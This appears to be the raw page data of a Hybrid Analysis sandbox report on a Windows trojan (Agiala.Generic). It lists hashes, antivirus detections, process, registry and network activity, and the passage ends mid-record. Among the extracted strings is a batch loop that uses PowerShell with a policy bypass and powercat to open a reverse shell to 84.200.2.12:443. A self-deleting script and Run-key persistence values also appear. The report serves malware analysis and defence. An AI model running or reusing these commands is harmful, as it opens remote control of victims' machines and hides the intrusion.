24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 27:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Agiala.Generic Sample 2b2668fa5331… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2b2668fa5331…. Malware family: Agiala.Generic. Threat score 100/100. 22/28 AV engines flagged this file. 3 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","keywords":["Malicious","Agiala.Generic","malware analysis","sandbox report","threat intelligence","2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a"],"about":{"@type":"SoftwareApplication","name":"b12c","applicationCategory":["peexe","executable"],"identifier":"2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Agiala.Generic","antivirusDetections":{"malicious":22,"total":28},"behavioralIndicators":{"malicious":3,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te5d,"" wrote bytes "2e1398768fc198769498977619a49876ee9c9776109997760db19776d34398764ade9776cebb9776a8d1977600000000" to virtual address "0x0044E4E0" (part of module "B12C.EXE") "" wrote bytes "4053bb775858bc77186abc77653cbd770000000000bf43760000000056cc4376000000007cca4376000000003768f2756a2cbd77d62dbd77000000002069f2750000000029a6437600000000a48df27500000000f70e437600000000" to virtual address "0x77CF1000" (part of module "NSI.DLL") "" wrote bytes "c072d677ad73d6778868d677aa6ed677145fd6773ba2d677df5dd6774066d6770669d6777d07d77700000000" to virtual address "0x0044E3A8" (part of module "B12C.EXE") "" wrote bytes "2500730025007300" to virtual address "0x00425E4A" (part of module "B12C.EXE") "" wrote bytes "7f5ada7500000000" to virtual address "0x0044E3A0" (part of module "B12C.EXE") "" wrote bytes "5f3c1276ad371276e72f1276b23a12768a6a127618391276dd6b1276737613765ba012768b2d127631b11276843012768b2d12760e6b127689691276016f1276b64112769d441276b83e127600000000" to virtual address "0x0044E5AC" (part of module "B12C.EXE") "" wrote bytes "241c057741e1fb7600000000" to virtual address "0x0044E510" (part of module "B12C.EXE") "" wrote bytes "dd91df764edfdf7666dfdf767edfdf7636dfdf7624e1df769d46e076fe40e07631cfdf768114e076c846e076cc48e0760749e0768d46e076ef48e076ad46e076d614e07600000000" to virtual address "0x0044E358" (part of module "B12C.EXE") "" wrote bytes "273e9976efb29d7651c1977694989776ee9c977675dc99760000000046ba4376013d447638ed4476cfcd437631234376de2f4476c4ca437680bb437652ba43769fbb437692bb43760abf437600000000" to virtual address "0x6BDE1000" (part of module "NDDEAPI.DLL") "OGLCache.exe" wrote bytes "2e1398768fc198769498977619a49876ee9c9776109997760db19776d34398764ade9776cebb9776a8d1977600000000" to virtual address "0x0044E4E0" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "4053bb775858bc77186abc77653cbd770000000000bf43760000000056cc4376000000007cca4376000000003768f2756a2cbd77d62dbd77000000002069f2750000000029a6437600000000a48df27500000000f70e437600000000" to virtual address "0x77CF1000" (part of module "NSI.DLL") "OGLCache.exe" wrote bytes "c072d677ad73d6778868d677aa6ed677145fd6773ba2d677df5dd6774066d6770669d6777d07d77700000000" to virtual address "0x0044E3A8" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "2500730025007300" to virtual address "0x00425E4A" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "7f5ada7500000000" to virtual address "0x0044E3A0" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "5f3c1276ad371276e72f1276b23a12768a6a127618391276dd6b1276737613765ba012768b2d127631b11276843012768b2d12760e6b127689691276016f1276b64112769d441276b83e127600000000" to virtual address "0x0044E5AC" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "241c057741e1fb7600000000" to virtual address "0x0044E510" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "dd91df764edfdf7666dfdf767edfdf7636dfdf7624e1df769d46e076fe40e07631cfdf768114e076c846e076cc48e0760749e0768d46e076ef48e076ad46e076d614e07600000000" to virtual address "0x0044E358" (part of module "OGLCACHE.EXE") "OGLCache.exe" wrote bytes "273e9976efb29d7651c1977694989776ee9c977675dc99760000000046ba4376013d447638ed4476cfcd437631234376de2f4476c4ca437680bb437652ba43769fbb437692bb43760abf437600000000" to virtual address "0x6BDF1000" (part of module "NDDEAPI.DLL") "OGLCache.exe" wrote bytes "92e6b87779a8bd77be72bd77d62dbd771de2b87705a2bd77bee3b877616fbd776841bb770050bb7700000000ad3712768b2d1276b641127600000000" to virtual address "0x75231000" (part of module "WSHTCPIP.DLL")26:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791264996759,"unified_at":"2026-10-06T05:36:36.759Z","metadata":{"hashes":{"sha256":"2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","sha1":"cc1e37fc84fe746523a1413989fb29a9e72d12c9","md5":"fcb719e28da41dd7443017eb1f456ff3","sha512":"fb1d2bad04d248f6f13ba06238714b412f27cc0972f4d4a92ab01e2b9154f0094dbec496b800d7c59d4c2ad1d882927c50c111d504c5e51144ff25ef0bdbdb86","ssdeep":"6144:UjuQW8XJjgbWXwGp7h5qN/Ay8ouP+BlwAIJ:pQ9X9gbWXVpzq9Ay8ou+Blw","ssdeep_chunks":["6144:UjuQW8X","6144:juQW8XJ","6144:uQW8XJj","6144:QW8XJjg","6144:W8XJjgb","6144:8XJjgbW","6144:XJjgbWX","6144:JjgbWXw","6144:jgbWXwG","6144:gbWXwGp","6144:bWXwGp7","6144:WXwGp7h","6144:XwGp7h5","6144:wGp7h5q","6144:Gp7h5qN","6144:p7h5qN/","6144:7h5qN/A","6144:h5qN/Ay","6144:5qN/Ay8","6144:qN/Ay8o","6144:N/Ay8ou","6144:/Ay8ouP","6144:Ay8ouP+","6144:y8ouP+B","6144:8ouP+Bl","6144:ouP+Blw","6144:uP+BlwA","6144:P+BlwAI","6144:+BlwAIJ","12288:UjuQW8X","12288:juQW8XJ","12288:uQW8XJj","12288:QW8XJjg","12288:W8XJjgb","12288:8XJjgbW","12288:XJjgbWX","12288:JjgbWXw","12288:jgbWXwG","12288:gbWXwGp","12288:bWXwGp7","12288:WXwGp7h","12288:XwGp7h5","12288:wGp7h5q","12288:Gp7h5qN","12288:p7h5qN/","12288:7h5qN/A","12288:h5qN/Ay","12288:5qN/Ay8","12288:qN/Ay8o","12288:N/Ay8ou","12288:/Ay8ouP","12288:Ay8ouP+","12288:y8ouP+B","12288:8ouP+Bl","12288:ouP+Blw","12288:uP+BlwA","12288:P+BlwAI","12288:+BlwAIJ","6144:pQ9X9gb","6144:Q9X9gbW","6144:9X9gbWX","6144:X9gbWXV","6144:9gbWXVp","6144:gbWXVpz","6144:bWXVpzq","6144:WXVpzq9","6144:XVpzq9A","6144:Vpzq9Ay","6144:pzq9Ay8","6144:zq9Ay8o","6144:q9Ay8ou","6144:9Ay8ou+","6144:Ay8ou+B","6144:y8ou+Bl","6144:8ou+Blw"],"imphash":"7fb9742e20b87c94ac45f9341d68e787"},"file_info":{"file_name":"b12c","file_type":["peexe","executable"],"file_type_id":"exe","file_size":308740,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499287409000,"last_seen":1659779446000,"last_multi_scan":1659779446000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":22,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":9,"suspicious_count":9,"malicious_count":3,"total":21},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Spyware/Win32.RL_Recam","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.TSGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1219090","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Agiala.30","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Crypt.C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/S-dfe31ca9!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Agiala.30 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Spy.Weecnaw.K trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Crypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00509f1b1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.Recam.bhx","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-GBM!FCB719E28DA4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Recam.evdcbj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Ransom.Cerber.ZZ5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_98","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Elenoocka-E","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Downloader.Ponik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_RASAQ.GFQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_RASAQ.GFQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanSpy.Recam","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Agiala.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts server","description":"\"84.200.2.12:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\qKfAHTUt\"\n \"qKfAHTUt\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy \"%APPDATA%\\AMD\\OGLCache.exe+\" \"%APPDATA%\\AMD\\OGLCache.exe\"\" on 2017-3-25.21:27:00.931","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c copy \"%APPDATA%\\AMD\\OGLCache.exe+\" \"%APPDATA%\\AMD\\OGLCache.exe\"\" (UID: 00020174-00002596)\n Spawned process \"OGLCache.exe\" (UID: 00020179-00002656)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"OGLCache.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"OGLCache.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"default.conf\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\system32\\en-US\\odbcint.dll.mui\"\n \"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"OGLCache.exe\" touched file \"%WINDIR%\\system32\\en-US\\odbcint.dll.mui\"\n \"OGLCache.exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"OGLCache.exe\" touched file \"%WINDIR%\\Fonts\\staticcache.dat\"\n \"OGLCache.exe\" touched file \"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"checkip.dyndns.org\"\n Pattern match: \"https://github.com/besimorhino/powercat\"\n Pattern match: \"https://github.com/iagox86/dnscat2\"\n Heuristic match: \"GET / HTTP/1.1\nHost: checkip.dyndns.org\"\n Heuristic match: \"google.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"OGLCache.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"\" queried SystemProcessInformation at 00015890-00004024-00000105-44526604\n \"OGLCache.exe\" queried SystemProcessInformation at 00020179-00002656-00000105-54433567\n \"OGLCache.exe\" queried SystemProcessInformation at 00020179-00002656-00000105-54473337","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"OGLCache.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"OGLCache.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"OGLCache.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\")\n \"OGLCache.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"LOLLIPOP\"; Value: \"%APPDATA%\\AMD\\OGLCache.exe\")\n \"OGLCache.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\ACTIVE SETUP\\INSTALLED COMPONENTS\\{E1Y4LVU7-YS70-GIFA-N4M7-5M38886E5XK4}\\\")\n \"OGLCache.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\ACTIVE SETUP\\INSTALLED COMPONENTS\\{E1Y4LVU7-YS70-GIFA-N4M7-5M38886E5XK4}\"; Key: \"STUBPATH\"; Value: \"\"%APPDATA%\\AMD\\OGLCache.exe\"\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"84.200.2.12:443;\"\n Heuristic match: \"@echo off\n:loop\ncmd.exe /c powershell; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force;. \"%s\"; powercat -l -p 4000 -r tcp:84.200.2.12:443; \ngoto :loop\"\n Heuristic match: \"@echo off\nping 192.0.2.2 -n 1 -w %d >nul 2>&1\ndel /s \"%s\" >nul 2>&1\ncall :%s&exit /b\n:%s\nstart /b \"\" cmd /c del \"%%~f0\"&exit /b\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00020179-00002656-57825-261-0040A19C\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00020179-00002656-57825-62-004075B3\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00020179-00002656-57825-318-00413618","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetTickCount\n CreateDirectoryA\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n GetModuleHandleA\n WriteFile\n CreateFileW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$25","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"OGLCache.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/60 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/60 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"11/60 Antivirus vendors marked spawned process \"OGLCache.exe\" (PID: 2656) as malicious (classified as \"Kryptik.FNYL\" with 18% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":47,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":11,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"58d6c621aac2ed6555b58746","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Kryptik.FNYL","contacted_countries":["DEU"],"submit_name":"b12c","analysis_start_time":"2017-03-25T20:34:08+00:00","indicators_count":{"informative":9,"suspicious":10,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"84.200.2.12","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}],"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}],"processes":[{"pid":4024,"ppid":0,"name":"b12c.exe","command_line":"","normalized_path":"C:\\b12c.exe","uid":"00015890-00004024"},{"pid":2596,"ppid":4024,"name":"cmd.exe","command_line":"/c copy \"%APPDATA%\\AMD\\OGLCache.exe+\" \"%APPDATA%\\AMD\\OGLCache.exe\"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015890-00004024","uid":"00020174-00002596","icon":"$26"},{"pid":2656,"ppid":4024,"name":"OGLCache.exe","command_line":"","sha256":"2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","normalized_path":"%APPDATA%\\AMD\\OGLCache.exe","parent_uid":"00015890-00004024","uid":"00020179-00002656"}],"all_imported_dlls":["gdi32.dll","sechost.dll","nsi.dll","kernel32.dll","shlwapi.dll","apphelp.dll","rpcss.dll","nlaapi.dll","user32.dll","authz.dll","nddeapi.dll","odbcint.dll","msasn1.dll","shell32.dll","NapiNSP.dll","ntdll.dll","advapi32.dll","uxtheme.dll","imm32.dll","msctf.dll","dsrole.dll","dwmapi.dll","mswsock.dll","ole32.dll","crypt32.dll","psapi.dll","dnsapi.dll","winrnr.dll","WSHTCPIP.DLL","oleaut32.dll","odbc32.dll","pnrpnsp.dll","clbcatq.dll","rpcrt4.dll","pcwum.dll","ntdsapi.dll","ws2_32.dll","eappgnui.dll","FWPUCLNT.DLL","KernelBase.dll","msvcrt.dll","lpk.dll","usp10.dll","azroles.dll","winbrand.dll","cryptbase.dll","rasadhlp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"OGLCache.exe","sha256":"2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a","verdict":"undetected","sources":[{"report_type":"sandbo